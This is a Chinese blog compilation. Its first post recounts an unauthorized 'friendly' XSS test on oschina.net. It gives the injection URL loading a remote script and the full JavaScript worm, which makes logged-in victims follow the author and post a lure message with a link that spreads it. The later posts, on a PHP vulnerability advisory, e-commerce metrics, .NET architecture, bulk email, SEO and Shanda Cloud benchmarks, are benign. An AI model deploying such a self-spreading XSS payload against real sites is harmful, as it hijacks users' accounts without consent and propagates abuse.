对oschina的一次友情xss测试

早上起床,发现断网了.大家只能上局域网.
另外昨晚友情做的一个xss检查,发现也被红薯删了.
这个的xss蠕虫模拟的新浪那个(虽然没代码,功能差不多就行).
以前扫osc描漏洞的时候,发现osc没有。
这次是先有这个帖子讨论osc的xss漏洞,刚好最近对xss感兴趣,就友情探测一次.
这次发现的xss入口是在:

http://my.oschina.net/samshuai?ft=代码

然后利用xss调用自己的代码:

http://my.oschina.net/samshuai?ft=%22/%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://cdn.magentochina.org/js/joke.js%22%3E%3C/script%3E%3Ca%20%22

远程joke.js代码如下:

</div>
<div>
<pre>(function($) {
    $.cookie = function(key, value, options) {

        // key and at least value given, set cookie...
        if (arguments.length &gt; 1 &amp;&amp; (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) {
            options = $.extend({}, options);

            if (value === null || value === undefined) {
                options.expires = -1;
            }

            if (typeof options.expires === 'number') {
                var days = options.expires, t = options.expires = new Date();
                t.setDate(t.getDate() + days);
            }

            value = String(value);

            return (document.cookie = [
                encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value),
                options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
                options.path ? '; path=' + options.path : '',
                options.domain ? '; domain=' + options.domain : '',
                options.secure ? '; secure' : ''
            ].join(''));
        }

        // key and possibly options given, get cookie...
        options = value || {};
        var decode = options.raw ? function(s) { return s; } : decodeURIComponent;

        var pairs = document.cookie.split('; ');
        for (var i = 0, pair; pair = pairs[i] &amp;&amp; pairs[i].split('='); i++) {
            if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined
        }
        return null;
    };
})(jQuery);
var uid = $("input[name=user]").attr("value");
var action = "/action/user/follow";
var msg = "快来看红薯果照啊:http://goo.gl/CGsYh"
function follow() {
	ajax_post(action,"id="+uid,true);
}

function postMsg(){
	ajax_post("/action/tweet/pub","msg="+msg+uid);
}
if (!($.cookie('sss'))){
	follow();
	postMsg();
	$.cookie('sss', '4');
}</pre>
</div>
<div>
由于做了xss之后,页面会有多个代码执行。
所以先用了jquery.cookie控制代码.然后判断cookie是否存在,然后进行操作。
这段javascript的动作有两个.
1.首先粉我(为什么我只看到几个人粉我呢,难道是回退了数据)

2.在动态区继续发言,让更多的人来点击.

有几个情况可能免疫:对红薯果照不感兴趣,安全级别设置较高,chrome,未登录,没有点击动弹区的链接,发现的时候外网已经断开点不开这个链接,红薯修复了.
还我粉丝…我看google的统计,不应该只有几个人follow的…
请大家注意小漏洞,不要觉得小漏洞无所谓.但是打起组合拳很厉害的..这只是一个小小的利用方式.google的一个Xss可以卖给google 500美元。
在中国,非常多的网站都不重视安全(连很多登陆都是直接http)。在wooyun上直接忽略我发的xss漏洞.
安全对网站很重要,对开源就更重要。很多实用开源的人,直接默认设置都不改。被黑了,怪人家开源软件不给力。改改文件位置,那些不就利用不鸟了么?安全是自己来做的。不要说开源不安全,闭源漏洞会更多。因为没有介绍到很多我这种小白的洗礼.
PS:这次的xss漏洞是在登陆账号的情况下用安全扫描工具扫到的.
下面介绍osc网页的blog,教大家xss原理和如何防御
最终说声:红薯我错了,再也不发红薯和水果的照片了。

[Php又暴重大漏洞]多语言拒绝服务漏洞事件预警

我司安全部门监测到目前PHP 5.3.9被黑客发现存在严重的安全漏洞,远程攻击者可以直接利用此漏洞执行任意PHP代码,安全风险非常高。经过跟进,该漏洞(CVE-2012-0830)是由于PHP官方为解决多语言hash漏洞引入了新的机制产生的新的安全漏洞。

 

【漏洞影响版本】

 

PHP5.3.9

 

注:在修复PHP多语言hash漏洞时若采用直接打补丁的方式(补丁地址:点击查看)不受此漏洞影响。

 

【修复方案】  

 

目前PHP官方已经紧急发布了5.3.10,下载地址为点击进入 ,请所有使用PHP 5.3.9版本的机器负责人尽快更新到PHP 5.3.10,建议更新前先进行测试。

 

之前还没有完成PHP多语言hash漏洞修复(即目前还没有升级到PHP 5.3.9)的同事现在可以直接升级到5.3.10来完成漏洞修复,不要再使用PHP 5.3.9版本。

 

请各位应用运维开发同学尽快检测相关服务器并及时修复此漏洞。

 

 

【附PHP官方开发人员微博提醒截图】

电子商务:计算重复购买率

零售市场的争夺归根结底就是一场对于客户的持久争夺战。为了开发新客户,,卖家使出浑身解数,抛出各式推广方案,投入大笔营销费用,只为在浩瀚的商 品海洋中,抓住顾客的眼神。然而顾客往往是叛逆的,他们游荡在不同的卖家之间,留住他们的心并非易事。相对于招揽新客户,维护一个老客户的成本要低很多。 因此,能否让客户重新产生重复购买,是网店发展过程中必须关心的问题。

重复购买率的计算方法很多,在观察或者比较这个数字的时候,需要注意计算口径的统一。

按客户行为计算的方法:单位时间内,熟客购买人数/总购买人数。即有多少比例的成交在熟客中产生。比如一段时间内有100个客户购买了产品,其中20个是回头客,则重复购买率为20%。

交易计算的方法:单位时间内,重复购买交易次数/总交易次数,即重复购买的总次数占比。比如在某个季度中,一共产生了100笔交易,其中有20个人有了二次购买,这20人中的10人又有了三次购买,则重复购买的次数为30次,重复购买率为30%。

第一种方式需要统计开店以来所有的交易,数据量较大,通常需要客户关系管理系统的辅助,但是数据较为精准;第二种方式只需要统计一个时间段内的成交,相对简单些,但是需要注意的是,统计的时间段需要大于产品的重复购买周期。

版权说明:本文摘录自淘宝天下卖家2011.4月刊,不可低估的重复购买率。

为什么国内还有那么多网站使用.NET架构?

一、目前使用.NET 的国内大型网站有哪些?

卓越http://www.amazon.cn/
当当http://www.dangdang.com/
京东http://www.360buy.com/
凡客http://www.vancl.com/
携程http://www.ctrip.com/

二、为什么这么多网站使用Windows/.NET?

创业初期,创始人非技术背景出身,对Unix/Linux存在恐惧心理或对使用何种平台和框架没有想法。
创业初期,创始人技术出身,选择了自己擅长的语言。
创业初期,创始人对语言没有什么要求,唯一的要求就是省钱、快速上线。

三、使用Win/.NET的好处有哪些?

人员:招聘比较快,各大高校和培训机构都有教.NET的。初级程序员工资要求比较低。
开发:入门简单,开发效率高。
维护:Windows Server 界面操作简单,便于维护,有现成的商业监控维护工具可用。
服务:提供了整体解决方案,如SQL Server提供了统计计算、数据挖掘、事务支持等。

四、使用Win/.NET有哪些不好的地方?

使用.NET基本上被强制捆绑到了Windows上,虽然Linux机器上也有.NET支持的Mono( http://www.mono-project.com/ ),但是性能并没有Windows系统上的那么好。.NET程序员在整个网站基础架构的优化改良上课选择的东西比较少。微软的东西一般不太会出现问题,但是如果出现问题,很难快速的找到解决方案。
最新的技术不能及时的应用到Windows平台,只能期望微软的早日更新。比如Windows对snmp协议的支持目前只能到2c,不能到3。许多无数的开源、高端服务器组件只有Linux/Unix版本。许多优化技术、高性能分布式缓存、数据库、NoSQL解决方案等等,仅针对Linux/Unix。
Windows Server的授权费比较贵(对于大型网站可能不太在乎)。如果有上百台服务器就需要购买上百份授权,如果一台服务器上安装N个虚拟机,就需要购买N份授权。

五、京东商城选择.NET的原因是什么?

刘强东之前有.net程序员背景, 一开始的版本由他进行开发。.NET的人也比较容易招,创业初期有很多公司都是使用盗版的Windows Server的,不需要支付授权费用(不知道京东商城是不是)。
京东商城不是一家技术公司,它只是一个建立在电子商务平台上的销售公司。早期更偏向后端的物流仓储管理,后端进销存体系就是.net基础的。京东现在用的内部ERP,一开始是刘强东自己开发的。

六、京东商城为什么一做活动就宕机?

管理不到位,管理者急功近利,要求员工超、快、猛,貌似每个公司都这样。项目的进度较少了设计和思考的时间。
运维不到位,没有提前对每次活动会带来的流量进行合理的评估,为活动提供服务器资源等。 这个猜想貌似不靠谱,貌似用堆服务器的方法无法解决性能问题。
架构不到位,前后台的依赖比较高。比如前台的库存要直接依赖后台库存数据等,这些不知道京东是如何处理的。
原开发不到位,开发者的能力没有到登峰造极的地步(这个比较困难啊),貌似除了微软自身的网站可以做到,其他网站的程序员很难做到。

七、京东商城用.NET架构合适吗?

目前京东商城已经停止招.NET程序员了,进而转向JAVA。这是京东商城对目前出现问题的一个响应。但是开发程序的转变仅仅是第一步。系统性能的瓶颈主要集中在操作系统、网络和数据库上。京东商城在改变目前架构的时候肯定会遇到很多阻力和问题。比较典型的会有:

人员问题:目前掌权的,为京东商城立下汗马功劳的都是.NET会程序员,不可能把其撤掉。要让其领导新招的JAVA程序员,下属也会认为不妥。目前大量的.NET后期将何去何从,辞退或转型都不太好处理。
程序问题:现在的版本是通过不断的迭代才稳定下来的,如果需要同步无可避免的还会遇到很多问题。时间成本和人员成本都比较高。
数据问题:对原有架构的调整需要保证原来系统中的业务流、资金流,、数据流的整体平移。如供货商的管理,供应商考核,采购管理,退货管理等数据。
现实问题:没有像F1赛车那样的设计(现在的京东确实没有),无法对高速行驶的车辆更换主要零部件。京东也不可能会停下来。

八、如果真的遇到上述问题改如何去解决?(来看下实例)

Stack Overflow 现在他们使用越来越多的Linux服务器,比如HAProxy(负载均衡), Redis(NoSQL数据库), Bacula(数据备份系统), Nagios(远程监控软件), 日志, 路由器都运行于Linux系统,几乎所有需要并行处理的功能都是由Linux处理。

当当目前已经渐渐转到Linux + PHP + Mysql,搜索、推荐等C++的后台也从Windows转为Linux版了。现在订单等后台作业依然采用C#跑着。
本文整理自知乎:http://www.zhihu.com/question/19818863

2012前端工程师知识结构图

前段干的事很多很杂的.大家看下图就好了.. 每个项目都可以说是个专业的.
搞it就是这样..分工不明确.要学的东西很多

前段知识结构图

前段知识结构图

邮件群发如何防止邮局屏蔽并提高邮件的点击率

邮件群发如何防止邮局屏蔽并提高邮件的点击率

群中上午探讨了邮件群发的问题,彬枫分享了他的经验,均是干货,整理如下:

筛选有效邮件地址:当发送一组邮件后,应将退回、打开和点击3种情况进行记录,并标记到每个邮箱上,然后做一个算法。比如说退回达到2次的,以后就不要发送了,就这一点就能成倍增加到达率和减少被屏蔽的次数。

备注:检查办法:用POP3取回所有发信邮箱的退信,然后用正则匹配出邮箱。

点击统计,让邮局信任你:点击的统计也是很重要的,当每次群发时,点击的比重越来越大时,就相当于有一种拉力让邮局(例如网易邮局)越来越信任你。因为在这种情况下,会有更高比率的标记、收藏或者从垃圾文件夹恢复的行为,这都会加大网易邮局对你的信任。

细节的控制,提高到达率:邮件群发应该是个系统工作,要控制的细节工作至少有几十条。

1)变化的标题:以内容为例,在标题中加入用户名就是个非常好的做法。

2)内容的变化:不容易的内容的变化,一次群发的每封邮件,都应该考虑有不同的内容,要想法设法增加变化的东西,比如说用户名、姓名、URL等等,内容的相似度越低,当然被屏蔽的几率越少。

3)邮件混发,加大同一邮局的发送间隔:还有群发时邮箱的混排。最好做到,163发一封后,再发qq,然后再发hotmail,然后再发gmail,这样加大了同一邮局的发送间隔。

总之:邮件列表是技术活也是产品活,技术要给力,运营要跟上。(文章来源:燕山脚下-北京以北)

网店客服的重要性与数据化管理

网店客服分为三类:售前客服、售中客服、售后客服。三类客服的工作重点不同,所以在职能上应有区分。

售前客服的重点是咨询转化率,也就是说在100个咨询中,有多少转化为实际购买。这涉及到的指标有:

业务熟悉程度
同时接待的顾客数量多不多?
顾客提问响应时间短
顾客提问反馈率高
客单价高不高?
客户满意度

以上具体指标实际转化成的业绩公式是:业绩=咨询量*成单率*客单价

首先说咨询量,当一个客服能同时响应多个客户的提问时,说明这个客服对业务熟悉,打字速度快。有一个重要数据是买家咨询,客服不在60秒内做出回应,顾客满意度下降90%,离开率超过70%。所以需要硬性要求售前客服必须在10秒内做出回应,永远让客服说最后一句话,不能出现不回应的结果。

客单价:网店常用低价产品(以秒杀、团购、大优惠等方式)来吸引客户到达网店,但低价产品往往不会带来好的利润,所以需要让客户在购买低价产品的同时,吸引他们购买一些较高利润的产品,这除了网店页面上的推荐与套餐搭配,还需要客服做相应的诱导与推荐。可以通过分析和统计每个客服成交业绩的商品品牌及类别的分布情况,来帮助提升客服推荐高利润商品的主动性,以提高客单价与营业利润。

成单率:成单率不应低于50%,否则需要加强培训。

售中客服的要点是针对已下订单,但尚未付款的客户。数据表明下单48小时以后还未付款客户,不再付款的比率高达86%以上。所以对下单未付款用户,在一定时间后要进行跟踪、提醒甚至电话回访,帮助用户完成付款。另外,通过回馈也需要拿到客户不付款的原因,是付款流程的问题,还是产品的问题,还是服务的问题。

售后客服的要点是客户满意度。需要分析产生中评、差评的原因,这是建立口碑与品牌的途径。网店需要与客户,特别是老客户有沟通的渠道和途径。也需建立客户档案。CRM系统、微博、QQ群、论坛、节日短信问候等等都有有效途径。

作者为台湾岛旅游网(http://www.taiwandao.tw )创始人张忠国。

老外的搜索习惯研究

在做seo的时候,客户一般都会给一些关键词来进行优化.而且很多都是非常中国式的关键词.一般客户都会给出几个什么buy,cheap之类的词.
但是通过自己的google webmaster tools和google keyword tools的研究.老外除了搜索比较直接的词之外,还会搜索完整的句子.
一般直接简单的词,竞争都比较强,比如:android phone.如果要做这种词,见效慢.竞争强.
通过google keyword tools的研究,其实我们也可以采取农村包围城市的政策,来进行优化.比如list of android phones,android phones brand等关键词.
再通过自己网站的webmaster tools发现.会有更加直接的关键词,比如:型号 android来进行搜索的比较多.
再做seo之前,一定要通过google keyword tools进行关键词分析.找出符合老外搜索习惯的关键词.
比如我就发现,老外喜欢搜索reviews这个词.在外贸seo纵横的今天,独辟蹊径才是走向成功的道路

盛大云免费了

这才是大公司的气魄嘛…30g内云主机和云储存都是免费了..等域名备案了.其实可以把blog什么迁移到国内了
下面是盛大云发给我的newsletter,大家看看..了解下情况:
尊敬的用户:

应广大客户的热情要求,盛大云(http://www.grandcloud.cn)在10月份上线了一系列重要功能。这些功能将大大的方便您的使用和管理,有些功能是国内独一无二的!敬请观看:

1. 邀请码B类升级A类功能

盛大云邀请码分为A 类和B 类两种,B类邀请码可以申请使用云监控和数字分发产品。对于已经申请了B 类邀请码的用户,如果还想使用云主机,云存储和云硬盘,目前可以申请将B类升级为A类。具体方法请参阅如下链接

http://www.grandcloud.cn/index.php?m=content&c=index&a=show&catid=10&id=95

2. MongoIC 上线

10月20日,“盛大云”(www.grandcloud.cn)宣布旗下产品MongoIC正式对外开放,这是中国第一家专业的MongoDB云服务,也是全球第一家支持数据库恢复的MongoDB云服务。现在,用户可以登录“盛大云”官网或产品主页http://mongoic.grandcloud.cn/,了解详细信息,并申请48M数据库进行免费试用。

3. 单账号30G内流量免费

用户单账号内将会获得云主机、云存储等主要产品30G以内的免费流量,相对于亚马逊等国外公司1G免费的策略,国内用户将会有更充分的时间来体验产品,做出选择。除前30G流量免费之外,30G-2T流量0.8元/G,2T-20T流量0.6元/G,这样的价格本身已经在国内极具竞争力。为了庆祝系统全面升级和产品臻于完善,目前“盛大云”还打出了六折优惠的政策。此外,所有新用户都将被赠送100元的预充值,用户可以在这个范围内,尽情试用“盛大云”的产品及服务。

4. 开通支付宝/财付通充值

盛大云联手第三方支付平台,开通盛大云的支付宝/财付通支付方式。从现在起,用户可以通过这两种方式进行充值。从而让您的支付变得更加方便快捷,让您使用盛大云产品更加愉快。

5. 报销凭证提供

如果用户需要发票,现在可以充值后,提供相关信息并发送到盛大云客服邮箱grandcloud_support@snda.com,主题请标志为“开具发票信息”。盛大云将统一在每周二和周四为客户开具发票。

6. 首推超微(micro)和微型(mini)机

云主机还根据不同的用户需求,推出了不同的主机类型套餐。其中,“盛大云”在国内首次针对个人创业者,推出了微型和超微机,微机的配置为1 core,1G内存和15G硬盘。超微机的配置为1 core,512M内存和7.5G硬盘。其中超微机型的用户年租赁成本将在450元以下。

7. 双线云主机

为了提高客户互联互通的感受,盛大推出了双线云主机,即一台云主机同时拥有电信网络和网通网络两条线路,两个IP地址。

8. 按月和按年付费套餐

为了更好的服务用户,盛大云增加按月付费和按年付费模式。按年和按月付费套餐具体又根据用户选择的操作系统、配置和租赁类型细分为多种套餐,用户可以根据自己的需求选择合适的套餐使用。对于之前按需付费的用户,也可以将按需计费的云主机升级为按年计费或者按月计费。具体可以参阅云主机入门手册中的套餐一节。赶快体验吧!

盛大云

2011-11-11

盛大小气云测试结果

开始我还在blog里面抱怨,说我骂了盛大云.就不给我邀请码了.结果后来还是给我了.
不过,盛大真的是小气云..我刚开始用2天就要开始收费了… 麻烦老大,我们是在给你内测.你收费个p. amazon ec2首年免费. cloudflare的cdn免费.国内的啥web啥的cdn也是免费… sina每天送1200个豆子…
就算是收费,也应该在我们测试人员,或者给测试报告人员里面充点钱啊… 说起充值,感觉盛大云服务器就是个游戏..
不说其他的了.其他盛大云的性价比还是不错的..不过那个安全组,真的搞不懂..就算我没备案域名.那我总可以设置一个c段都可以访问吧?? 结果小气云不行,必须一个ip一个ip的加… 加你妹啊.
我申请的是盛大云标准云主机,也就是双核4g内存那个… 我安装的系统是centos 64..php环境用的是zend server来跑magento.我用的magento来测试整个服务器的性能.
因为magento比较耗资源,所以很容易就能测出来.
先说下magento的设置,我开启了缓存,编译,索引以及合并javascript和css.其他优化一点都没有做.
先做一个预备体操:ab -c 10 -n 10 http://test.magentochina.org:

然后开始正题:ab -c 10 -n 10000 http://test.magentochina.org/

[root@localhost /]# ab -c 10 -n 10000 http://test.magentochina.org/
This is ApacheBench, Version 2.0.40-dev <$Revision: 1.146 $> apache-2.0
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright 2006 The Apache Software Foundation, http://www.apache.org/

Benchmarking test.magentochina.org (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Finished 10000 requests

Server Software:        Apache/2.2.3
Server Hostname:        test.magentochina.org
Server Port:            80

Document Path:          /
Document Length:        9331 bytes

Concurrency Level:      10
Time taken for tests:   691.158622 seconds
Complete requests:      10000
Failed requests:        0
Write errors:           0
Total transferred:      98460000 bytes
HTML transferred:       93310000 bytes
Requests per second:    14.47 [#/sec] (mean)
Time per request:       691.159 [ms] (mean)
Time per request:       69.116 [ms] (mean, across all concurrent requests)
Transfer rate:          139.12 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   4.0      0     353
Processing:   181  690 232.4    654    2498
Waiting:      158  676 231.3    639    2498
Total:        181  690 232.4    654    2498

Percentage of the requests served within a certain time (ms)
  50%    654
  66%    731
  75%    789
  80%    833
  90%    979
  95%   1122
  98%   1318
  99%   1439
 100%   2498 (longest request)

然后我用firebug测试了下本地访问盛大云的html页面速度. magento经过编译之后,页面加载时间是:

多次刷新结果都不一样.. 总的来说,html的的载入时间在250ms-700ms之间..
这样的结果对我来说,相当满意. 如果盛大云不需要备案的话.我一定买两台.而且价格真的便宜.